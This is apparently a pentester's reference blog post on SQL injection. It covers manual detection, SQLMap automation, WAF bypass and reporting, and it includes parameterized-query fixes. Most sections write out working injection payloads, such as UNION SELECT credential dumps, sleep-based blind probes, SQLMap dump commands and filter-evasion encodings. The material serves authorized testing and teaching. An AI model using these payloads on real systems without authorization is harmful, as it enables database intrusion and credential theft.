OWASP Top 10 for Pentesters: SQL Injection Deep Dive

sqli anatomy header

TL;DR

SQL Injection remains OWASP A03:2021 (Injection) and one of the most critical web vulnerabilities you will encounter. This post covers manual detection techniques (error-based, union-based, time-based blind, boolean-based blind), SQLMap automation essentials, WAF bypass strategies, and how to write a finding report that will actually get remediated. Skip to the section you need – this is a reference, not a tutorial.


Prerequisites / Audience

This post assumes you:

  • Have basic familiarity with HTTP requests and SQL syntax
  • Are working in an authorized penetration test or CTF environment
  • Understand how web applications interact with databases
  • Have Burp Suite and SQLMap installed

This is not an introductory post. If you are new to web app testing, work through the OWASP WebGoat or PortSwigger Web Security Academy SQLi labs first.


What Is SQL Injection and Why Does It Still Matter?

SQL injection occurs when user-supplied input is concatenated into a SQL query without proper sanitization or parameterization. Despite being a solved problem at the framework level, SQLi still appears regularly in assessments – particularly in legacy applications, custom ORMs, raw query builders, and second-order injection sinks.

A vulnerable query looks like this:

-- Vulnerable
SELECT * FROM users WHERE username = '$input' AND password = '$pass';

-- Safe (parameterized)
SELECT * FROM users WHERE username = ? AND password = ?;

The impact ranges from data exfiltration to authentication bypass to full OS-level command execution, depending on database permissions and configuration.


Manual Testing Techniques

1. Error-Based Injection

Error-based SQLi extracts data by forcing the database to include query output in error messages. It is the fastest path when verbose errors are enabled.

Detection: Append a single quote to a parameter and observe.

https://example.com/products?id=1'

A You have an error in your SQL syntax message confirms injection. From there, use database-specific error extraction functions:

MySQL:

' AND extractvalue(1, concat(0x7e, (SELECT version())))-- -

MSSQL:

' AND 1=convert(int,(SELECT TOP 1 table_name FROM information_schema.tables))-- -

Oracle:

' AND 1=ctxsys.drithsx.sn(1,(SELECT banner FROM v$version WHERE rownum=1))-- -

Error-based is reliable for fast data extraction but depends on verbose error responses being visible – often disabled in production. Move to blind techniques when error output is suppressed.


2. Union-Based Injection

Union-based injection appends a UNION SELECT to the original query, injecting data into the result set returned to the user. It requires knowing the number of columns in the original query and finding a column that renders to the page.

Step 1: Determine column count.

' ORDER BY 1-- -
' ORDER BY 2-- -
' ORDER BY 3-- -   → error here means 2 columns

Or use NULL padding:

' UNION SELECT NULL-- -
' UNION SELECT NULL,NULL-- -
' UNION SELECT NULL,NULL,NULL-- -   → first successful response = 3 columns

Step 2: Find a visible column.

' UNION SELECT 'a',NULL,NULL-- -
' UNION SELECT NULL,'a',NULL-- -

Step 3: Extract data.

' UNION SELECT NULL,username||':'||password,NULL FROM users-- -

Union-based injection is the most visible technique and easiest to confirm. It also leaves the clearest signatures in logs.


3. Boolean-Based Blind Injection

When there is no visible output or error, you can still extract data by asking the database true/false questions and observing application behavior (page content, status code, response length).

Baseline: Establish two distinct responses.

id=1 AND 1=1   →’ normal page (true)
id=1 AND 1=2   →’ different response (false)

Extract data character by character:

' AND substring((SELECT database()),1,1)='a'-- -
' AND substring((SELECT database()),1,1)='b'-- -
...
' AND substring((SELECT database()),1,1)='s'-- -   → match

Binary search significantly speeds this up (compare ASCII ordinal, halve the search space). SQLMap automates this with --technique=B.

Boolean-based blind is slow manually but fully reliable. At scale, use automation.


4. Time-Based Blind Injection

When you get no behavioral difference between true and false responses – identical content, same status code – use time delays as the out-of-band channel.

MySQL:

' AND sleep(5)-- -

MSSQL:

'; WAITFOR DELAY '0:0:5'-- -

PostgreSQL:

'; SELECT pg_sleep(5)-- -

Oracle:

' AND 1=dbms_pipe.receive_message('a',5)-- -

A 5-second delay on a true condition confirms injection. Combine with conditional logic for data extraction:

' AND IF(substring((SELECT database()),1,1)='s', sleep(5), sleep(0))-- -

Time-based blind is the most reliable detection technique for opaque applications, but extracting full datasets character-by-character is extremely slow. In real engagements, confirm with a single delay, then hand off to SQLMap.


SQLMap Automation

SQLMap is the standard tool for automating SQL injection detection and exploitation. Use it after confirming the injection point manually – never fire SQLMap blind at a target.

Essential Flags

# Basic scan from URL
sqlmap -u "https://example.com/products?id=1" --batch

# Target a specific parameter
sqlmap -u "https://example.com/search" --data="q=test&cat=1" -p cat

# Specify technique (faster, less noise)
sqlmap -u "https://example.com/products?id=1" --technique=BEUSTQ

# Dump the current database
sqlmap -u "https://example.com/products?id=1" --current-db --tables --dump

# Authenticated session
sqlmap -u "https://example.com/products?id=1" --cookie="session=<PLACEHOLDER_SESSION_TOKEN>"

# From a Burp Suite request file
sqlmap -r request.txt --batch --level=3 --risk=2

Tamper Scripts

Tamper scripts modify payloads to evade filters or adapt to non-standard database configurations.

ScriptUse Case
space2commentReplace spaces with /**/ to bypass space filters
betweenReplace > with NOT BETWEEN 0 AND
randomcaseRandomize SQL keyword casing
charencodeURL-encode characters
base64encodeBase64-encode the payload (some APIs decode on input)
apostrophemaskReplace ' with UTF-8 full-width variant
sqlmap -u "https://example.com/products?id=1" --tamper=space2comment,randomcase

Chain multiple tampers with commas. Test in Burp first to confirm the target decodes as expected before automating.

Output Formats

# Store results to CSV
sqlmap -u "..." --dump --output-dir=./results --dump-format=CSV

# XML output (useful for reporting imports)
sqlmap -u "..." --dump --dump-format=XML

SQLMap stores all session data in ~/.sqlmap/output/<target>/ – reuse with --resume to avoid redundant requests.


WAF Bypass Techniques

Modern WAFs inspect payload patterns. Your goal is not to “break” the WAF – it is to make your payload look unlike known attack signatures.

Encoding

Original:  ' UNION SELECT 1,2,3-- -
URL-encoded: %27%20UNION%20SELECT%201%2C2%2C3--%20-
Double-encoded: %2527 (if application decodes twice)

Comment Injection

SQL supports several comment syntaxes. Inject comments into keywords to fragment signatures:

UN/**/ION SEL/**/ECT 1,2,3
/*!UNION*/ /*!SELECT*/ 1,2,3    -- MySQL version comment syntax

Case Variation

uNiOn SeLeCt 1,2,3
UnIoN ALL SeLeCT 1,2,3

Chunked Transfer Encoding

Some WAFs only inspect the initial request body chunk. Send the payload split across multiple chunks using Burp’s chunked encoding extension. Effectiveness depends heavily on WAF implementation.

Null Bytes and Whitespace Alternatives

'%09UNION%09SELECT   -- tab instead of space
'%0aUNION%0aSELECT  -- newline instead of space
'\x00UNION           -- null byte (terminates some string checks)

Always validate bypass techniques in a controlled lab environment before testing against a production WAF – some WAFs will block your IP on repeated failures.


Writing the Finding Report

A SQL injection finding must communicate severity clearly and provide enough technical detail for developers to reproduce and fix it. Structure it as follows.

Finding Template

Title: SQL Injection in <PLACEHOLDER_PARAMETER> parameter of <PLACEHOLDER_ENDPOINT>

Severity: Critical

CVSS v3.1 Score: 9.8 (Critical)

CVSS Vector: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

ComponentValueRationale
Attack VectorNetworkExploitable remotely
Attack ComplexityLowNo special conditions required
Privileges RequiredNoneNo authentication needed
User InteractionNoneAutomated exploitation possible
ConfidentialityHighFull database dump achievable
IntegrityHighWrite/modify data possible
AvailabilityHighDatabase shutdown possible

Description:

The id parameter of https://example.com/products is vulnerable to SQL injection. An unauthenticated attacker can inject arbitrary SQL statements and retrieve all records from the underlying database, including user credentials.

Evidence:

Request:

GET /products?id=1' AND sleep(5)-- - HTTP/1.1
Host: example.com

Response: 5-second delay confirmed time-based blind injection.

Extracted data (SQLMap):

Database: <PLACEHOLDER_DB_NAME>
Table: users
[<PLACEHOLDER_ROW_COUNT> entries]
+----+------------------+------------------+
| id | username         | password_hash    |
+----+------------------+------------------+
| 1  | admin            | <PLACEHOLDER>    |
+----+------------------+------------------+

Remediation:

  1. Immediate: Use parameterized queries / prepared statements. Never concatenate user input into SQL strings.
  2. Short-term: Enable a WAF rule to block SQLi patterns as a defence-in-depth layer.
  3. Long-term: Conduct a codebase-wide audit for raw query construction. Consider adopting an ORM that enforces parameterization by default.

References:

  • OWASP SQLi Prevention Cheat Sheet
  • CWE-89: Improper Neutralization of Special Elements used in an SQL Command

Conclusion

SQL injection is a well-understood vulnerability with reliable detection methods and a clear fix. The challenge in real engagements is not the technique – it is finding the injection points, bypassing defenses, and translating exploitation into a business-risk narrative that drives remediation.

Key takeaways:

  • Start with manual testing to confirm injection before running automation
  • Match your technique to the application response: error-based →’ union →’ boolean blind →’ time-based
  • Use tamper scripts and encoding to get past WAF filters
  • Write findings with CVSS scores and reproduction steps – vague reports get deprioritized
  • Parameterized queries are the only reliable fix; WAF rules are a mitigation, not a solution

If this is an authorized assessment, document everything. If it is a CTF, have fun. If someone finds this while doing something unauthorized – stop.


Part of the OWASP Top 10 for Pentesters series. Related: A01 – Broken Access Control, A07 -Identification and Authentication Failures.